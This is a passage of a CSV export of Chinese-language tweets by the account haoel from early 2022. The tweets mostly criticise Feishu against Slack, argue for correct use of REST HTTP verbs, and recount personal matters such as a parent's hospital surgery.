继续让你看一下Slack的处理，我觉得你对Slack并不熟悉，Slack对于同一个链接的预览会有个提示不再显示，你是不是关闭了？呵呵。 https://t.co/eGRN17oS9r,,https://twitter.com/haoel/status/1497387019122593801\n2342,1497386088322662400,2022-02-26 01:40:38+00:00,0,0,1,,\"@janlay @nowazhu 其一，我原文说了，Slack，Telegram，Twitter就沒这些个问题。仔细看我的文字，字数不多，也没有语法问题，一般人都能读懂的。\n\n其二，就算是302，这个标准能不支持么？\",,https://twitter.com/haoel/status/1497386088322662400\n2343,1497376468426321929,2022-02-26 01:02:24+00:00,5,0,2,,@nowazhu 来，我免费帮你们的飞书测试一下。单个链接也不保证都出。另外，我这个链接的文章是中文的，为啥会取回英文的标题？Slack，Telegram，Twitter就沒这些个问题。当用户说有问题的时候，不要一来就质疑用户，这很业余…… https://t.co/kKUFGJAOSs,,https://twitter.com/haoel/status/1497376468426321929\n2344,1497262082592366596,2022-02-25 17:27:52+00:00,1,0,2,,@nowazhu 果然很主观，你要不做个用户调研？还是我来帮你做？（不过你看看我吐槽飞书大家的反馈，你也能看到一些）当然，你可以坚持你就是对的，当你已经变得不open，那么我们讨论没有任何意义了，晚安💤😴⭐️🌙,,https://twitter.com/haoel/status/1497262082592366596\n2345,1497260858526687234,2022-02-25 17:23:01+00:00,4,0,2,,@_hisriver @nowazhu 来，我免费帮你们的飞书测试一下。单个链接也不保证都出。另外，我这个链接的文章是中文的，为啥会取回英文的标题？Slack，Telegram，Twitter就沒这些个问题。当用户说有问题的时候，不要一来就质疑用户，这很业余…… https://t.co/NVfnMNkpZx,,https://twitter.com/haoel/status/1497260858526687234\n2346,1497258717099683840,2022-02-25 17:14:30+00:00,1,0,2,,@nowazhu 你上StackOverflow吗？你跟他们说，你感觉有多少人会接受你的主观建议？,,https://twitter.com/haoel/status/1497258717099683840\n2347,1497258391860703234,2022-02-25 17:13:12+00:00,0,0,1,,@nowazhu Stackoverflow 讨论技术问题都会贴代码的，你不否认吧。我这很客观了吧。有证据，有引用。然而你却没有……,,https://twitter.com/haoel/status/1497258391860703234\n2348,1497256489265758208,2022-02-25 17:05:39+00:00,3,0,2,,@nowazhu 所以你比较主观，我不太相信你不在聊天中聊代码。经常性的，有人的代码报了个错，上来求助，都要把日志，错误信息，配置，关键代码……提一下的。看看stackoverflow去吧，讨论技术问题不贴代码？你是咋想的？,,https://twitter.com/haoel/status/1497256489265758208\n2349,1497247223884640266,2022-02-25 16:28:50+00:00,2,0,1,,\"@nowazhu 1）slack的thread里的回复不到channel里，就不会有打扰。\n2）看我原文，仔细看。\n3）你看了我的截图了吗？你都不想想会不会是bug么？\n4）我很客观啊，对消息edit就是有用的，分享代码片段就是有用，你在聊天中讨论过代码么？……等等，我说的都是其它软件支持的，而你一棒打死，是你太主观\",,https://twitter.com/haoel/status/1497247223884640266\n2350,1497243658340364294,2022-02-25 16:14:40+00:00,0,0,2,,@nowazhu @_hisriver 看来，我们不是一个版本。我在手机和电脑上都得不到你图中的样子。也许，我不是你的灰度用户……,,https://twitter.com/haoel/status/1497243658340364294\n2351,1497243197788983298,2022-02-25 16:12:50+00:00,17,0,4,,\"@nowazhu 1，thread下的不被打扰，而飞书则不是，同样是归类，但信息同样打扰全体。\n\n2，主题群和频道是两码事。想想为什么电视台报纸。我觉的你没get到\n\n3，链接就是纯文本，不支持。见载图\n\n4，你回复中大量的主观断定某些功能不支持是更好的，而不是客观思考一下另一面的好处。你喜欢就好 https://t.co/cU57xqF3DK\",,https://twitter.com/haoel/status/1497243197788983298\n2352,1497239828924014593,2022-02-25 15:59:27+00:00,1,0,2,,@_hisriver @nowazhu 我现截一个图…… https://t.co/mqE9oooEsj,,https://twitter.com/haoel/status/1497239828924014593\n2353,1497217604338929664,2022-02-25 14:31:08+00:00,12,0,5,,@anneincoding 不单单是你了，已经很多人了……如果要认真讨论那个软件好用还是不好用，我觉得我们可以认真讨论一下。希望能看看我说的有无道理……还是给自己加戏……,,https://twitter.com/haoel/status/1497217604338929664\n2354,1497212400713408514,2022-02-25 14:10:27+00:00,0,0,0,,@tiger00853 而且文件很大,,https://twitter.com/haoel/status/1497212400713408514\n2355,1497210468817014788,2022-02-25 14:02:47+00:00,5,0,0,,@sutrazhou 是的unix下的不成文标准,,https://twitter.com/haoel/status/1497210468817014788\n2356,1497209232378105861,2022-02-25 13:57:52+00:00,4,0,1,,@sutrazhou 也是sed ;-),,https://twitter.com/haoel/status/1497209232378105861\n2357,1497208370603835393,2022-02-25 13:54:26+00:00,14,0,4,,\"@sutrazhou 你这是前端的语言，我们后端是下面这样的\ns/废解/费解/g\",,https://twitter.com/haoel/status/1497208370603835393\n2358,1497201709633851399,2022-02-25 13:27:58+00:00,905,159,86,,对于总有人来教育我“Slack不好用，飞书世界第一”，让我不胜其烦，所以，写发了一堆推文来，希望不要再有人来教育我了。现在我再发一个图片版的，便于大家图片转发，最好转给飞书的产品经理，让他们告诉他们的用户，你们喜欢飞就喜欢，但是不要教育别人说“飞书最牛”，谢谢！ https://t.co/thOgNKA0gg,,https://twitter.com/haoel/status/1497201709633851399\n2359,1497197624251666434,2022-02-25 13:11:44+00:00,119,3,8,,我先说这么多，还是那句话，等你知道工作中的信息和你平时生活中的聊水天不一样，等你明白并不是你在国外成立一家公司用英文开发软件你就国际化了，等你知道什么叫真正的国际，你再来教育我飞书是最好用的吧……,,https://twitter.com/haoel/status/1497197624251666434\n2360,1497197621600870410,2022-02-25 13:11:44+00:00,60,0,2,,6）你知道为什么聊天可以使用反斜杠来发一些功能性的命令吗？你不是程序员，你不知道这样的方式在体验上有多好，而且也很舒服。/snippet /mute /giphy ... 这些才是国际化的事，而不是要要点过来点过去找不到功能。,,https://twitter.com/haoel/status/1497197621600870410\n2361,1497197618975236106,2022-02-25 13:11:43+00:00,64,1,3,,5）你知道一个信息能够被edit有多重要，工作中的信息就应该是准确的，就是可以让人修改的，这样才能够变得更清楚，别说撤回，还可以删除，没有用的信息就是可以删除掉，让信息更有价值。你做到了吗？ 5/,,https://twitter.com/haoel/status/1497197618975236106\n2362,1497197615984758784,2022-02-25 13:11:42+00:00,121,7,5,,\"4）这是在中国区的软件中我最废解的一个事，你在聊天中分享一个链接，连个网页的摘要都取不回来，你看看slack,twitter,telegraf分享网页链接是什么样的，这很难学吗？你硬要学微信那个样？不是你是英文的就是国际化了。你连国际化的 Open Graph Protocol 你都不支持，你还好意思说你是国际化？! 4/\",,https://twitter.com/haoel/status/1497197615984758784\n2363,1497197611207446528,2022-02-25 13:11:41+00:00,114,3,4,,2）你要把信息沟通工具做成拉群，你就错了。信息就是以频道的方式，不是以拉群的方式。你能明白吗？就像论坛版面一样，我想了解哪个版面， 就去看就好了，而不是拉群。这里的区别有多大，你真的明白吗？频道相当于信息分类 ，拉群不会让你的员工养成把信息归类的好习惯，你团队里的信息全是乱的。 2/,,https://twitter.com/haoel/status/1497197611207446528\n2364,1497197608908976128,2022-02-25 13:11:41+00:00,905,168,69,,\"总有人来教育我飞书多好用，就好像我没用过飞书一样。那我就来跟你讲讲，工作不是聊天，而是信息交换和共享。首要就是把信息做好，下面这些做不好，别来跟我说好用。\n\n1）像邮件一样，让信息归属于一个主题，一个thread，在这个thread下不要打扰到别人。别一发消息就是reply all，这样很没有礼貌的。1/\",,https://twitter.com/haoel/status/1497197608908976128\n2365,1497151028856180736,2022-02-25 10:06:35+00:00,85,2,9,,另一个更重要的是国内的软件生态完全不互通，各种工具的集成和跳转太麻烦了……,,https://twitter.com/haoel/status/1497151028856180736\n2366,1497150185897533441,2022-02-25 10:03:14+00:00,0,0,2,,@franklinzhang85 谢谢你这么努力给我推荐，不过我是macOS的电脑……,,https://twitter.com/haoel/status/1497150185897533441\n2367,1497147349985992708,2022-02-25 09:51:58+00:00,0,0,1,,@franklinzhang85 一样的，还是那个链接……,,https://twitter.com/haoel/status/1497147349985992708\n2368,1497146326865219585,2022-02-25 09:47:54+00:00,0,0,1,,@franklinzhang85 给我的链接是这个：https://t.co/oFifnhpRPM,\"[TextLink(text='lf3-package.vlabstatic.com/obj/faceu-pack…', url='https://lf3-package.vlabstatic.com/obj/faceu-packages/Jianying_2_6_3_5652_0.dmg', tcourl='https://t.co/oFifnhpRPM', indices=(26, 49))]\",https://twitter.com/haoel/status/1497146326865219585\n2369,1497145950162145282,2022-02-25 09:46:24+00:00,368,19,37,,我个人比较喜欢用国际化的工具，而不是本地化的工具。比如，用zoom而不是腾讯会议，用Google Doc、Slack而不是飞书，虽说本地化的工具在一些功能的确做的比较国际化的好，但我也不会放弃国际化的工具。因为，我总是很想跟更多不同国家的人交流和协作……,,https://twitter.com/haoel/status/1497145950162145282\n2370,1497144163309010949,2022-02-25 09:39:18+00:00,0,0,1,,@franklinzhang85 好的，不过刚才在剪映的官网上下专业版，根本下不下来……😂,,https://twitter.com/haoel/status/1497144163309010949\n2371,1497141558906265600,2022-02-25 09:28:57+00:00,395,80,7,,我一直在用DaVinci Resolve免费版软件编辑视频，这两天看到了这个Youtube教学，才发现真的好强啊。https://t.co/w1kS2SW6h2,\"[TextLink(text='youtube.com/watch?v=x-mQDW…', url='https://www.youtube.com/watch?v=x-mQDWMAnb8', tcourl='https://t.co/w1kS2SW6h2', indices=(57, 80))]\",https://twitter.com/haoel/status/1497141558906265600\n2372,1496832490001944581,2022-02-24 13:00:50+00:00,137,29,6,,乌克兰总统之前主演乌克兰总统的政治剧集，精彩，好看…… https://t.co/NWlrFpyG5h https://t.co/wZmTUgP2ef,\"[TextLink(text='movie.douban.com/subject/269465…', url='https://movie.douban.com/subject/26946524/', tcourl='https://t.co/NWlrFpyG5h', indices=(28, 51))]\",https://twitter.com/haoel/status/1496832490001944581\n2373,1496801327577403393,2022-02-24 10:57:00+00:00,39,1,6,,一车追尾（由南向北），堵了整个四环…… https://t.co/xgXd736zje,,https://twitter.com/haoel/status/1496801327577403393\n2374,1495999618915921921,2022-02-22 05:51:18+00:00,25,3,3,,tubby little ginger cunt 😂 幽默的方式，骂人的技巧，以及相关的英文单词，学习了！,,https://twitter.com/haoel/status/1495999618915921921\n2375,1495915205985173505,2022-02-22 00:15:52+00:00,34,8,2,,这篇文章就是可信度较高的的信息，因为有大量的数据分析（当然，前提是2010年人口普查数据是准确的，至少，这要比所谓的“权威发布”可信度高）https://t.co/n9EgVZl2fw,\"[TextLink(text='mp.weixin.qq.com/s/S7vUapuXzozI…', url='https://mp.weixin.qq.com/s/S7vUapuXzozIvCSSqcKH-w', tcourl='https://t.co/n9EgVZl2fw', indices=(69, 92))]\",https://twitter.com/haoel/status/1495915205985173505\n2376,1495638621600296962,2022-02-21 05:56:49+00:00,1,0,0,,@dragon_lyl 我们公司纯远程啊……,,https://twitter.com/haoel/status/1495638621600296962\n2377,1495065991516082180,2022-02-19 16:01:24+00:00,267,8,10,,过去半年做技术社区的一点感悟…… https://t.co/8aP3iieMov,,https://twitter.com/haoel/status/1495065991516082180\n2378,1495056931894935554,2022-02-19 15:25:24+00:00,11,1,2,,@horsezhanbin 你说的那些人都不写代码了，已经不算技术男了……,,https://twitter.com/haoel/status/1495056931894935554\n2379,1495054195803652096,2022-02-19 15:14:31+00:00,496,47,41,,有一些人，会把我们叫做 “技术男”，大概就是“低情商”、“直男”、“屌丝”、“宅男”的代名词，说技术男的人一般都总会带一种不屑和轻视。所以，我一般也会叫他们“商务男”或“销售男”，也就是油腔滑调，高承诺低对现，慌话连天，套路多多……实话说，比起“技术男”，他们成为渣男的更多……,,https://twitter.com/haoel/status/1495054195803652096\n2380,1494686458011029507,2022-02-18 14:53:16+00:00,7,0,1,,@beautyyuyanli @waylybaye 你太低估水印的技术了……,,https://twitter.com/haoel/status/1494686458011029507\n2381,1494662919367266307,2022-02-18 13:19:44+00:00,0,0,0,,@lengxuegang 发嘛,,https://twitter.com/haoel/status/1494662919367266307\n2382,1494649100419035138,2022-02-18 12:24:49+00:00,67,2,13,,@waylybaye 你是不是可以开发个新的App识别一下图片里有没有隐藏的水印，或是直接把水印去掉。,,https://twitter.com/haoel/status/1494649100419035138\n2383,1494636003331493892,2022-02-18 11:32:46+00:00,0,0,1,,@applewong117 所以，你当电影小说是真相？还是娱乐？,,https://twitter.com/haoel/status/1494636003331493892\n2384,1494635832497475588,2022-02-18 11:32:06+00:00,0,0,0,,@lengxuegang 票圈是什么地方？,,https://twitter.com/haoel/status/1494635832497475588\n2385,1494261967212613636,2022-02-17 10:46:29+00:00,1,0,1,,@lcomplete_wild 十年一晃就过了……,,https://twitter.com/haoel/status/1494261967212613636\n2386,1494260690877489153,2022-02-17 10:41:25+00:00,107,8,23,,MegaEase 在B站的粉丝画像中，40岁以上的大叔占了57.8%，一方面，我们的内容很吸引大叔，说明大叔们有多喜欢学习，另一方面，有这么多大叔玩B站，说明大叔们心态有多年轻……可见，喜欢技术的大叔们都有一颗闷骚的心…… https://t.co/g0j3BuruZ5,,https://twitter.com/haoel/status/1494260690877489153\n2387,1494105991352176642,2022-02-17 00:26:42+00:00,1,2,2,,@jakobsonradical https://t.co/Q0h297nT9d,,https://twitter.com/haoel/status/1494105991352176642\n2388,1493427758965297164,2022-02-15 03:31:38+00:00,60,0,5,,@wangxiaoshan 老百姓抵制老百姓有什么好？,,https://twitter.com/haoel/status/1493427758965297164\n2389,1493392894983499777,2022-02-15 01:13:06+00:00,0,0,0,,@qingwanggo 加油！,,https://twitter.com/haoel/status/1493392894983499777\n2390,1493226893646069762,2022-02-14 14:13:28+00:00,82,18,1,,分享中提到的治疗失眠的BBC的《睡眠十律》 https://t.co/VL27GeS803,\"[TextLink(text='bilibili.com/s/video/BV1mi4…', url='https://www.bilibili.com/s/video/BV1mi4y1s7Eo', tcourl='https://t.co/VL27GeS803', indices=(22, 45))]\",https://twitter.com/haoel/status/1493226893646069762\n2391,1493222832880320519,2022-02-14 13:57:20+00:00,764,198,12,,\"这是今晚的我们公司一个关于个人成长的分享【非计算机专业的人如何转行程序员】- 宿琛是一个90后的程序员，他以前是学习金融的非程序员，后来爱上了写程序，于是开始了一年离职学习，这里是他的整个经历的分享。相信可以影响到更多的人。 \nB站：https://t.co/XAlC6xaOxm\nY站：https://t.co/ZwxPswHHPM\",\"[TextLink(text='bilibili.com/video/BV1R44y1…', url='https://www.bilibili.com/video/BV1R44y1H77u/', tcourl='https://t.co/XAlC6xaOxm', indices=(117, 140)), TextLink(text='youtube.com/watch?v=qNSXn8…', url='https://www.youtube.com/watch?v=qNSXn8wfJaQ', tcourl='https://t.co/ZwxPswHHPM', indices=(144, 167))]\",https://twitter.com/haoel/status/1493222832880320519\n2392,1493077950144544776,2022-02-14 04:21:38+00:00,158,13,19,,有个人来我的Blog留言让我：“看看 Google 家的API，也是RPC风格的，全是POST”。我在想，你就不能多看看Google家的API吗？都找到了，难道不能多调研一下吗？张嘴就来啊…… https://t.co/hZ8s2lQE1I,,https://twitter.com/haoel/status/1493077950144544776\n2393,1493060538158358528,2022-02-14 03:12:26+00:00,0,0,0,,@qiankunbagua 本质上就是没设计就好。PayPal的Guidelines 有，1）通过加一个namespace ，也就是业务域的概念，2）facilities是sub-resource的概念。,,https://twitter.com/haoel/status/1493060538158358528\n2394,1493040391335018498,2022-02-14 01:52:23+00:00,19,0,1,,\"更新了一下，增加如下的内容：\n1） 并不一定按数据库的CRUD来匹配HTTP Method的例子。\n2）加入HTTP方法幂等的引用：RFC7231 章节4.2.2 – Idempotent Methods\n3）加入两个问答，\n   a) 为什么要用规范的Restful API, \n   b) 为什么“过早优化”对API不适用\",,https://twitter.com/haoel/status/1493040391335018498\n2395,1493035238083022852,2022-02-14 01:31:54+00:00,0,0,0,,\"@CnPguan @hackerZhang 我的文章中已经引用了 RFC 5789，你可以简单的以 idempotent为关键词搜一下这个文档，就可以看到：PATCH is neither safe nor idempotent as defined by [RFC2616], Section 9.1.\",,https://twitter.com/haoel/status/1493035238083022852\n2396,1492869667743940612,2022-02-13 14:33:59+00:00,0,0,0,,@_weiq @sakura_liwei typo sorry,,https://twitter.com/haoel/status/1492869667743940612\n2397,1492759868817608704,2022-02-13 07:17:41+00:00,1,0,1,,@sakura_liwei 补充下，POST 其实还会有CRSF 的跨站攻击的问题,,https://twitter.com/haoel/status/1492759868817608704\n2398,1492729166843678720,2022-02-13 05:15:41+00:00,1,0,0,,@nishuang 原来不是 RTFM，而是RTFSC 🤪,,https://twitter.com/haoel/status/1492729166843678720\n2399,1492726110164975624,2022-02-13 05:03:32+00:00,19,1,2,,\"@nishuang 工程师思维是read the fucking manual \n设计师思维是don’t make me think\",,https://twitter.com/haoel/status/1492726110164975624\n2400,1492725110909767686,2022-02-13 04:59:34+00:00,205,17,40,,我刚在写文章的时候，我们家孩子说，居然有体育运动是可以躺平后身体不动的，我说什么运动？然后孩子给我看了下面这个运动……🤪 https://t.co/nzA2B9f9Lj,,https://twitter.com/haoel/status/1492725110909767686\n2401,1492718761949872130,2022-02-13 04:34:20+00:00,367,80,21,,\"还是写篇文章讨论一下这个事。文章包括如下部分：\n- 为什么要用不同的HTTP动词？\n- REST API进行复杂查询\n- 几个主要问题的回应\n    &gt; POST 更安全吗？\n    &gt; 全用 POST 可以节省时间沟通少吗？\n    &gt; 早点回家的正确姿势\n    &gt; 工作而已，优雅不能当饭吃\nhttps://t.co/wPZm2ZMKMF\",\"[TextLink(text='coolshell.cn/articles/22173…', url='https://coolshell.cn/articles/22173.html', tcourl='https://t.co/wPZm2ZMKMF', indices=(161, 184))]\",https://twitter.com/haoel/status/1492718761949872130\n2402,1492456696626618369,2022-02-12 11:12:59+00:00,0,0,1,,@songma 找到了 https://t.co/08KwNmL2zx,\"[TextLink(text='m.soshuwu.com/RenShengCongRo…', url='https://m.soshuwu.com/RenShengCongRongJiaPingAoZuoPin/1374867.html', tcourl='https://t.co/08KwNmL2zx', indices=(12, 35))]\",https://twitter.com/haoel/status/1492456696626618369\n2403,1492450963264720901,2022-02-12 10:50:12+00:00,5,0,1,,@songma 我记得看过贾平凹写的他割痔疮的各种细节……这个应该比大便更重口味了,,https://twitter.com/haoel/status/1492450963264720901\n2404,1492407120783765504,2022-02-12 07:55:59+00:00,219,53,11,,【谈谈公司对员工的监控】写篇文章，主要谈四个事，1）公司是监控员工的技术手段有哪些？2）为什么要监控员工？3）外企和国企有什么不一样？4）我对此事的看法。https://t.co/JIuccj0Xww https://t.co/BjN3I2vo26,\"[TextLink(text='coolshell.cn/articles/22157…', url='https://coolshell.cn/articles/22157.html', tcourl='https://t.co/JIuccj0Xww', indices=(77, 100))]\",https://twitter.com/haoel/status/1492407120783765504\n2405,1492017673135276036,2022-02-11 06:08:28+00:00,0,0,2,,@gopherliu 为什么不知道要什么就开始做是“大多数情况”？如果这是大多数情况，你不觉得这不正常吗？,,https://twitter.com/haoel/status/1492017673135276036\n2406,1492014565986426880,2022-02-11 05:56:07+00:00,303,68,2,,微信公众号里偶尔也会有些不错的文章。比如这篇文章，深入浅出地讲述整个虚拟化的前世今生。值得看看。 https://t.co/qggamVOvO0,\"[TextLink(text='mp.weixin.qq.com/s/2gPrJUq97Sn7…', url='https://mp.weixin.qq.com/s/2gPrJUq97Sn7ZHyFSBsDlg', tcourl='https://t.co/qggamVOvO0', indices=(49, 72))]\",https://twitter.com/haoel/status/1492014565986426880\n2407,1491738495882170372,2022-02-10 11:39:07+00:00,17,0,0,,@Barret_China @Ymc3Ymty 中国的医院差距不是一般的大，无论是技术还是道德……,,https://twitter.com/haoel/status/1491738495882170372\n2408,1491595027696340992,2022-02-10 02:09:01+00:00,231,28,4,,\"具体来说，\n1）提升健壮性。找高手取经，你的标准更高，行动力更强，技能更多，能干别人干不了的事。\n2）更多的机会。永不限制自己（别说自己不行），开阔眼界（英文能力），学会和包容不同的思维方式，获得更多的offer（包括国籍的可能性）\n3）历练自己。很多事情并不可怕，就是自己不熟悉罢了。 2/2\",,https://twitter.com/haoel/status/1491595027696340992\n2409,1491595024844296194,2022-02-10 02:09:01+00:00,455,65,16,,软件架构中，抵抗风险最好的方法就是把风险当成已发生的事直接设计在架构中，然后，通过不断的破坏性的测试或演练来积累经验。其实，对于个人也是一样的，能抗风险的人，一方面，他们会不断提升自己的健壮性，同时，给自己创造更多的机会（冗余结点），另一方面，通过不断的冒险和尝试来历练自己…1/2,,https://twitter.com/haoel/status/1491595024844296194\n2410,1491427038817026048,2022-02-09 15:01:30+00:00,92,1,1,,@waylybaye 你玩独立开发，相对于大多数人，已经是在冒险了……,,https://twitter.com/haoel/status/1491427038817026048\n2411,1491353682654674944,2022-02-09 10:10:00+00:00,42,4,0,,@nishuang 想到了这个图。 https://t.co/J6fKVle0Dc,,https://twitter.com/haoel/status/1491353682654674944\n2412,1491341632066973696,2022-02-09 09:22:07+00:00,0,0,0,,@nishuang 设计师也是互相临摹是吧？😂😂,,https://twitter.com/haoel/status/1491341632066973696\n2413,1491341567306924033,2022-02-09 09:21:52+00:00,68,0,0,,勾了线，加了点细节…… https://t.co/8uqFHXWo0Z,,https://twitter.com/haoel/status/1491341567306924033\n2414,1491264347670478850,2022-02-09 04:15:01+00:00,105,0,10,,不过，孩子觉得穿冰雪运动装带防光眼镜的人很酷，顺手临摹了个宣传图……（p.s. 大家还是把上面那推当笑话和段子看吧……） https://t.co/BooF8Ht20A,,https://twitter.com/haoel/status/1491264347670478850\n2415,1491256783696203776,2022-02-09 03:44:58+00:00,138,7,46,,孩子问我，为什么冬奥会的这些比赛项目没什么意思？我说，主要是是大多数的项目对抗性不强，体育比赛之所以吸引人就是满足人性中“好斗”的多巴胺，所以，越是对抗性强的就越吸引人，就越有意思……你看，冰球足球篮球……，我还没说完，孩子打断我说，冰球足球篮球也同样没意思…… 顶得我哑口无言…😓,,https://twitter.com/haoel/status/1491256783696203776\n2416,1489606817332154370,2022-02-04 14:28:35+00:00,0,0,1,,@AngeryRadish 这里讲的不是摄像头坏不坏，而是按哪种方式坏，这种坏法一定经领导同意的。所以，足球不是赢不赢的问题，是要按领导要求的方式来赢……（原贴的逻辑懂了吗？）,,https://twitter.com/haoel/status/1489606817332154370\n2417,1489605319341019137,2022-02-04 14:22:38+00:00,25,1,6,,我还以为在北京，如往常一样，春节期间听不烟花爆竹声了，结果还是听到了……😂,,https://twitter.com/haoel/status/1489605319341019137\n2418,1489080461028904961,2022-02-03 03:37:02+00:00,393,36,31,,十年前，车胎在地下车库被扎了，车位正前方的摄像头坏了，我问物业为什么摄像头坏了？物业说，这个要等领导来定夺。我说摄像头怎么坏的是个客观事实，跟领导的意志无关。但最终还是经过领导研究后才告诉我如何坏的……其实，很多事情都是如此，不从客观情况出发，而从领导意志出发，比如，春晚和足球…,,https://twitter.com/haoel/status/1489080461028904961\n2419,1488662802831007747,2022-02-01 23:57:24+00:00,16,0,18,,更早期的还有tjjtds ，今天可能已经鲜为人知了……,,https://twitter.com/haoel/status/1488662802831007747\n2420,1488351243206819841,2022-02-01 03:19:23+00:00,19,0,0,,@yetone freedom is not free,,https://twitter.com/haoel/status/1488351243206819841\n2421,1488053477620142080,2022-01-31 07:36:10+00:00,131,0,4,,携我家的“小老虎”，祝大家虎年万事如意！ https://t.co/SLasT0aksI,,https://twitter.com/haoel/status/1488053477620142080\n2422,1487589056532082688,2022-01-30 00:50:43+00:00,0,0,0,,@MHC21839026 谢谢谢谢,,https://twitter.com/haoel/status/1487589056532082688\n2423,1487429488908517377,2022-01-29 14:16:39+00:00,2,0,1,,@ku_jim 候诊，验血，X光，CT，输液，最慢的是CT，等了40分钟。病床当天就有了。我估计，应该是临近春节，人少了很多的原因……,,https://twitter.com/haoel/status/1487429488908517377\n2424,1487428353699172355,2022-01-29 14:12:09+00:00,30,1,12,,四环的奥运会专用道划出来了，和08年一样。大家都很自觉不进入…… https://t.co/usyMRxPDqQ,,https://twitter.com/haoel/status/1487428353699172355\n2425,1487427014680190979,2022-01-29 14:06:50+00:00,0,0,0,,@CnHawkOrg 谢谢，谢谢！春节快乐！,,https://twitter.com/haoel/status/1487427014680190979\n2426,1487426701185327104,2022-01-29 14:05:35+00:00,20,0,2,,@yongqianme 是的，这就是为什么我要做开源，走国际化。,,https://twitter.com/haoel/status/1487426701185327104\n2427,1487424863094538246,2022-01-29 13:58:17+00:00,0,0,1,,@ku_jim 消化科,,https://twitter.com/haoel/status/1487424863094538246\n2428,1487424695959908354,2022-01-29 13:57:37+00:00,28,1,14,,北京中日友好医院的核酸检测，跟别家的不一样，是“硬核”的捅鼻子。检验时，还没反应过来就被捅了一下，测核酸无数次，这次是第一次捅鼻子，捅完后感觉鼻屎被捅到喉咙里卡住了，咽也咽不下，呕也呕不出，老难受了……（PS，排我后面的妹子正好看见是捅鼻子，直接劝退了……） https://t.co/05I6yjDKj4,,https://twitter.com/haoel/status/1487424695959908354\n2429,1487421524898238464,2022-01-29 13:45:01+00:00,0,0,0,,@laoyang945 非常感谢，春节快乐！,,https://twitter.com/haoel/status/1487421524898238464\n2430,1487420035140177922,2022-01-29 13:39:05+00:00,28,0,0,,@codemorningsir 这个非常有可能，好的事通常没有一致性……,,https://twitter.com/haoel/status/1487420035140177922\n2431,1487419042017144836,2022-01-29 13:35:09+00:00,0,0,0,,@noob92533838 非常感谢,,https://twitter.com/haoel/status/1487419042017144836\n2432,1487418816493547523,2022-01-29 13:34:15+00:00,0,0,0,,@edgerhuang2021 谢谢,,https://twitter.com/haoel/status/1487418816493547523\n2433,1487418008200892422,2022-01-29 13:31:02+00:00,162,2,7,,补充说一下，并非国际部，平民老百姓的部门，没有任何关系。沟通医生大概30左右。看了两天病，从门诊到急诊，前后共6个不同的医生诊断，除了门诊遇上个副主任医生，其他都是年轻医生，经验略显不足，但是都非常有耐心且尽心尽力，态度和能力都没得说！（老实说，医生和程序员一样，我都喜欢30左右的）,,https://twitter.com/haoel/status/1487418008200892422\n2434,1487415407640133637,2022-01-29 13:20:42+00:00,0,0,0,,@blacker_jj 当然不是，平民老百姓的,,https://twitter.com/haoel/status/1487415407640133637\n2435,1487391010875318280,2022-01-29 11:43:46+00:00,0,0,0,,@NovaIntrovert @biantaishabi 谢谢你,,https://twitter.com/haoel/status/1487391010875318280\n2436,1487385943011069954,2022-01-29 11:23:37+00:00,0,0,0,,@eric90220946 谢谢,,https://twitter.com/haoel/status/1487385943011069954\n2437,1487376683803971585,2022-01-29 10:46:50+00:00,6,0,0,,@Dec252009 北京,,https://twitter.com/haoel/status/1487376683803971585\n2438,1487374561708417024,2022-01-29 10:38:24+00:00,890,46,80,,父亲在中日友好医院要做手术，手术前，医生叫我过去沟通病情，医生手里拿着两张英文注释图示，跟我讲病因病理，以及整个手术的过程和步骤，手术中可能出现的意外（包括极端情况）和相关的预案，以及手术后的康复方法，一共花了40多分钟，给我讲得明明白白…平生第一次遇到这样沟通病情的，不能更赞了！,,https://twitter.com/haoel/status/1487374561708417024\n2439,1487062106608336899,2022-01-28 13:56:49+00:00,0,0,1,,@madawei2699 老实说他没有看到图片的时候，我以为你是在开黑……😜,,https://twitter.com/haoel/status/1487062106608336899\n2440,1487061903104876544,2022-01-28 13:56:00+00:00,5,0,1,,@tinyfool 所以老兄要好好减肥，不要再胖下去了……,,https://twitter.com/haoel/status/1487061903104876544\n2441,1486984621112041473,2022-01-28 08:48:55+00:00,96,7,25,,今天在医院急诊处，见一坐轮椅老人，几乎都动不了，眼睛都睁不开了，但能说话。检查完后把医生搞得不知所措了……高血压，糖尿病，冠心病，房颤（心脏衰竭），肾衰竭，尿毒症……医生说，我也不知道先看哪个了，要不直接上抢救室吧……家属却表现得很淡定，似乎医生的话早已“剧透”……令我唏嘘不已……,,https://twitter.com/haoel/status/1486984621112041473\n2442,1486576958352031746,2022-01-27 05:49:00+00:00,5,0,1,,@tiger00853 当然不下，是他邀请我参加他的活动，还逼我下一个飞书……逻辑上应该是我反过来逼他用谷歌文档……😜,,https://twitter.com/haoel/status/1486576958352031746\n2443,1486576006291148800,2022-01-27 05:45:13+00:00,40,3,1,,@kevinzhow 公司之间有排他的墙，工具和用户间有KPI的墙……,,https://twitter.com/haoel/status/1486576006291148800\n2444,1486573926490992642,2022-01-27 05:36:57+00:00,422,61,28,,朋友邀请我参加活动，微信传给我个活动图片二维码，扫描二维码后是个飞书的链接，微信提示，需要复制粘贴到浏览器里打开，我复制链接完后，在浏览器里打开，提示我要下载飞书的App。这就是简中的“效率工具”生态环境……给我一个谷歌文档的链接，让我翻墙，我都觉得比这都方便很多……,,https://twitter.com/haoel/status/1486573926490992642\n2445,1486254885939335168,2022-01-26 08:29:12+00:00,25,0,3,,@wangxiaoshan 别人以为你们说的是“市斤”，只有我知道你们说的是“公斤”……,,https://twitter.com/haoel/status/1486254885939335168\n2446,1485820199404113921,2022-01-25 03:41:55+00:00,208,27,38,,\"说几点：\n1）对于一个HTTP动词的规范使用，其实并不花时间\n2）就算你觉得全用POST可以节约开发时间，但是调用方的时间呢？一个接口完全不知道读还是写，你是写文档，还是等人来问你？\n3）规范和标准其实就是在节约团队时间提升整体效率的，如果连这个常识都不明白的话，那人类这么多年白进化了……\",,https://twitter.com/haoel/status/1485820199404113921\n2447,1485799104856748034,2022-01-25 02:18:06+00:00,11,0,3,,@chuangbo 这个不是漂不漂亮的问题，这个是正不正常，有没有职业素养的问题。,,https://twitter.com/haoel/status/1485799104856748034\n2448,1485795017210077186,2022-01-25 02:01:51+00:00,1,0,3,,@billqian @yongqianme 这不是能力不怎强，而是能力不行,,https://twitter.com/haoel/status/1485795017210077186\n2449,1485786750832513024,2022-01-25 01:29:00+00:00,15,0,8,,@yongqianme 规范使用HTTP动词花时间么？呵呵,,https://twitter.com/haoel/status/1485786750832513024\n2450,1485648226091151370,2022-01-24 